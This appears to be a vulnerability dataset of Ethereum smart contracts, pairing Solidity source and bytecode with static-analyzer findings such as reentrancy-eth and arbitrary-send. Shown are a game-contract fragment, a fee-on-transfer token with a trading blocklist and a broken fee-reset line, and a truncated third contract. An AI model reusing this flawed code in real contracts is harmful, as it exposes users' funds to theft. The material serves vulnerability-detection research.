return (getWinner(5), rounds[currentRound].jackpot5.balance);
}
}
function getKingdomType(string _kingdomKey) public view returns (uint kingdomType) {
return kingdoms[rounds[currentRound].kingdomsKeys[_kingdomKey]].kingdomType;
}
function getKingdomOwner(string _kingdomKey) public view returns (address owner) {
return kingdoms[rounds[currentRound].kingdomsKeys[_kingdomKey]].owner;
}
function getKingdomInformations(string _kingdomKey) public view returns (string title, uint minimumPrice, uint lastTransaction, uint transactionCount, address currentOwner, uint kingdomType, bool locked) {
uint kingdomId = rounds[currentRound].kingdomsKeys[_kingdomKey];
Kingdom storage kingdom = kingdoms[kingdomId];
return (kingdom.title, kingdom.minimumPrice, kingdom.lastTransaction, kingdom.transactionCount, kingdom.owner, kingdom.kingdomType, kingdom.locked);
}
// function upgradeTier(string _key) public {
// // require(now < rounds[currentRound].endTime);
// Round storage round = rounds[currentRound];
// uint kingdomId = round.kingdomsKeys[_key];
// Kingdom storage kingdom = kingdoms[kingdomId];
// uint wood = woodInterface.balanceOf(kingdom.owner);
// require(wood >= 1);
// kingdom.kingdomTier++;
// }
function getWinner(uint _type) public returns (address winner) {
require(_type > 0);
require(_type < 6);
address addr;
uint maxPoints = 0;
Round storage round = rounds[currentRound];
for (uint index = 0; index < kingdoms.length; index++) {
if (_type == kingdoms[index].kingdomType) {
address userAddress = kingdoms[index].owner;
if(kingdoms[index].kingdomTier == 1) {
round.scores[msg.sender] = round.scores[msg.sender] + 1;
} else if(kingdoms[index].kingdomTier == 2) {
round.scores[msg.sender] = round.scores[msg.sender] + 3;
} else if (kingdoms[index].kingdomTier == 3) {
round.scores[msg.sender] = round.scores[msg.sender] + 5;
} else if (kingdoms[index].kingdomTier == 4) {
round.scores[msg.sender] = round.scores[msg.sender] + 8;
} else if (kingdoms[index].kingdomTier == 5) {
round.scores[msg.sender] = round.scores[msg.sender] + 13;
}
if(round.scores[msg.sender] != 0 && round.scores[msg.sender] == maxPoints) {
if(lastTransaction[userAddress] < lastTransaction[addr]) {
addr = userAddress;
}
} else if (round.scores[msg.sender] > maxPoints) {
maxPoints = round.scores[msg.sender];
addr = userAddress;
}
}
}
return addr;
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
| 8,175 |
0x177c2cfe27db0f0358ca93c3a6d907db83e7f958
|
/**
*Submitted for verification at Etherscan.io on 2021-06-21
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-04
*/
/*
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract PROANUS is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"PROANUS";
string private constant _symbol = "ANUS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102c3578063c9567bf9146102d8578063d543dbeb146102ed578063dd62ed3e1461030d578063e8078d941461035357600080fd5b8063715018a6146102395780638da5cb5b1461024e57806395d89b4114610276578063a9059cbb146102a357600080fd5b8063313ce567116100d1578063313ce567146101c65780635932ead1146101e25780636fc3eaec1461020457806370a082311461021957600080fd5b806306fdde031461010e578063095ea7b31461015057806318160ddd1461018057806323b872dd146101a657600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600781526650524f414e555360c81b60208201525b6040516101479190611ab4565b60405180910390f35b34801561015c57600080fd5b5061017061016b366004611a07565b610368565b6040519015158152602001610147565b34801561018c57600080fd5b50683635c9adc5dea000005b604051908152602001610147565b3480156101b257600080fd5b506101706101c13660046119c6565b61037f565b3480156101d257600080fd5b5060405160098152602001610147565b3480156101ee57600080fd5b506102026101fd366004611a33565b6103e8565b005b34801561021057600080fd5b50610202610439565b34801561022557600080fd5b50610198610234366004611953565b610466565b34801561024557600080fd5b50610202610488565b34801561025a57600080fd5b506000546040516001600160a01b039091168152602001610147565b34801561028257600080fd5b50604080518082019091526004815263414e555360e01b602082015261013a565b3480156102af57600080fd5b506101706102be366004611a07565b6104fc565b3480156102cf57600080fd5b50610202610509565b3480156102e457600080fd5b5061020261053f565b3480156102f957600080fd5b50610202610308366004611a6d565b610594565b34801561031957600080fd5b5061019861032836600461198d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561035f57600080fd5b50610202610667565b60006103753384846109d4565b5060015b92915050565b600061038c848484610af8565b6103de84336103d985604051806060016040528060288152602001611c8a602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111c0565b6109d4565b5060019392505050565b6000546001600160a01b0316331461041b5760405162461bcd60e51b815260040161041290611b09565b60405180910390fd5b60128054911515600160c01b0260ff60c01b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461045957600080fd5b47610463816111fa565b50565b6001600160a01b0381166000908152600260205260408120546103799061127f565b6000546001600160a01b031633146104b25760405162461bcd60e51b815260040161041290611b09565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610375338484610af8565b600f546001600160a01b0316336001600160a01b03161461052957600080fd5b600061053430610466565b905061046381611303565b6000546001600160a01b031633146105695760405162461bcd60e51b815260040161041290611b09565b601254600160a81b900460ff1661057f57600080fd5b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105be5760405162461bcd60e51b815260040161041290611b09565b6000811161060e5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610412565b61062c6064610626683635c9adc5dea000008461148c565b9061150b565b60138190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146106915760405162461bcd60e51b815260040161041290611b09565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ce3082683635c9adc5dea000006109d4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070757600080fd5b505afa15801561071b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073f9190611970565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078757600080fd5b505afa15801561079b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bf9190611970565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080757600080fd5b505af115801561081b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083f9190611970565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d719473061086f81610466565b6000806108846000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108e757600080fd5b505af11580156108fb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109209190611a86565b50506012805463ffff00ff60a81b198116630101000160a81b179091556729a2241af62c000060135560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099857600080fd5b505af11580156109ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d09190611a50565b5050565b6001600160a01b038316610a365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610412565b6001600160a01b038216610a975760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610412565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610412565b6001600160a01b038216610bbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610412565b60008111610c205760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610412565b6000546001600160a01b03848116911614801590610c4c57506000546001600160a01b03838116911614155b1561116357601254600160c01b900460ff1615610d33576001600160a01b0383163014801590610c8557506001600160a01b0382163014155b8015610c9f57506011546001600160a01b03848116911614155b8015610cb957506011546001600160a01b03838116911614155b15610d33576011546001600160a01b0316336001600160a01b03161480610cf357506012546001600160a01b0316336001600160a01b0316145b610d335760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610412565b6001600160a01b0383166000908152600a602052604090205460ff16158015610d7557506001600160a01b0382166000908152600a602052604090205460ff16155b610d7e57600080fd5b6012546001600160a01b038481169116148015610da957506011546001600160a01b03838116911614155b8015610dce57506001600160a01b03821660009081526005602052604090205460ff16155b8015610de35750601254600160c01b900460ff165b15610e6057601254600160a01b900460ff16610dfe57600080fd5b601354811115610e0d57600080fd5b6001600160a01b0382166000908152600b60205260409020544211610e3157600080fd5b610e3c42601e611baf565b6001600160a01b0383166000908152600b6020526040902055600660095560026008555b6000610e6b30610466565b601254909150600160b01b900460ff16158015610e9657506012546001600160a01b03858116911614155b8015610eab5750601254600160b81b900460ff165b1561116157601254610ed99060649061062690600390610ed3906001600160a01b0316610466565b9061148c565b8211158015610eea57506013548211155b610ef357600080fd5b6001600160a01b0384166000908152600c60205260409020544211610f1757600080fd5b6001600160a01b0384166000908152600d60205260409020544290610f3f9062015180611baf565b1015610f5f576001600160a01b0384166000908152600e60205260408120555b6001600160a01b0384166000908152600e6020526040902054610fec576001600160a01b0384166000908152600e60205260408120805491610fa083611c1f565b90915550506001600160a01b0384166000908152600d602052604090204290819055610fce90610e10611baf565b6001600160a01b0385166000908152600c6020526040902055611124565b6001600160a01b0384166000908152600e602052604090205460011415611043576001600160a01b0384166000908152600e6020526040812080549161103183611c1f565b90915550610fce905042611c20611baf565b6001600160a01b0384166000908152600e60205260409020546002141561109a576001600160a01b0384166000908152600e6020526040812080549161108883611c1f565b90915550610fce905042615460611baf565b6001600160a01b0384166000908152600e602052604090205460031415611124576001600160a01b0384166000908152600e602052604081208054916110df83611c1f565b90915550506001600160a01b0384166000908152600d602052604090205461110a9062015180611baf565b6001600160a01b0385166000908152600c60205260409020555b61112d81611303565b47801561113d5761113d476111fa565b6001600160a01b0385166000908152600e602052604090205461115f9061154d565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111a557506001600160a01b03831660009081526005602052604090205460ff165b156111ae575060005b6111ba8484848461156f565b50505050565b600081848411156111e45760405162461bcd60e51b81526004016104129190611ab4565b5060006111f18486611c08565b95945050505050565b600f546001600160a01b03166108fc61121483600261150b565b6040518115909202916000818181858888f1935050505015801561123c573d6000803e3d6000fd5b506010546001600160a01b03166108fc61125783600261150b565b6040518115909202916000818181858888f193505050501580156109d0573d6000803e3d6000fd5b60006006548211156112e65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610412565b60006112f061159b565b90506112fc838261150b565b9392505050565b6012805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134b5761134b611c50565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139f57600080fd5b505afa1580156113b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d79190611970565b816001815181106113ea576113ea611c50565b6001600160a01b03928316602091820292909201015260115461141091309116846109d4565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790611449908590600090869030904290600401611b3e565b600060405180830381600087803b15801561146357600080fd5b505af1158015611477573d6000803e3d6000fd5b50506012805460ff60b01b1916905550505050565b60008261149b57506000610379565b60006114a78385611be9565b9050826114b48583611bc7565b146112fc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610412565b60006112fc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115be565b8060085461155b9190611be9565b600855600181111561046357600a60095550565b8061157c5761157c6115ec565b61158784848461160f565b806111ba576111ba60076008556005600955565b60008060006115a8611706565b90925090506115b7828261150b565b9250505090565b600081836115df5760405162461bcd60e51b81526004016104129190611ab4565b5060006111f18486611bc7565b6008541580156115fc5750600954155b1561160357565b60006008819055600955565b60008060008060008061162187611748565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165390876117a5565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461168290866117e7565b6001600160a01b0389166000908152600260205260409020556116a481611846565b6116ae8483611890565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116f391815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611722828261150b565b82101561173f57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117658a6008546009546118b4565b925092509250600061177561159b565b905060008060006117888e878787611903565b919e509c509a509598509396509194505050505091939550919395565b60006112fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c0565b6000806117f48385611baf565b9050838110156112fc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610412565b600061185061159b565b9050600061185e838361148c565b3060009081526002602052604090205490915061187b90826117e7565b30600090815260026020526040902055505050565b60065461189d90836117a5565b6006556007546118ad90826117e7565b6007555050565b60008080806118c86064610626898961148c565b905060006118db60646106268a8961148c565b905060006118f3826118ed8b866117a5565b906117a5565b9992985090965090945050505050565b6000808080611912888661148c565b90506000611920888761148c565b9050600061192e888861148c565b90506000611940826118ed86866117a5565b939b939a50919850919650505050505050565b60006020828403121561196557600080fd5b81356112fc81611c66565b60006020828403121561198257600080fd5b81516112fc81611c66565b600080604083850312156119a057600080fd5b82356119ab81611c66565b915060208301356119bb81611c66565b809150509250929050565b6000806000606084860312156119db57600080fd5b83356119e681611c66565b925060208401356119f681611c66565b929592945050506040919091013590565b60008060408385031215611a1a57600080fd5b8235611a2581611c66565b946020939093013593505050565b600060208284031215611a4557600080fd5b81356112fc81611c7b565b600060208284031215611a6257600080fd5b81516112fc81611c7b565b600060208284031215611a7f57600080fd5b5035919050565b600080600060608486031215611a9b57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611ae157858101830151858201604001528201611ac5565b81811115611af3576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b8e5784516001600160a01b031683529383019391830191600101611b69565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bc257611bc2611c3a565b500190565b600082611be457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c0357611c03611c3a565b500290565b600082821015611c1a57611c1a611c3a565b500390565b6000600019821415611c3357611c33611c3a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461046357600080fd5b801515811461046357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d5d6f4707c9b14ba09f4537e2933973699b9146dad1acfa9cbaae610de489a964736f6c63430008050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,176 |
0x857df2E9F0f411A31f7fd1d278c1021399E5d726
|
pragma solidity =0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function transferOwnership(address transferOwner) public onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in construction,
// since the code is only stored at the end of the constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
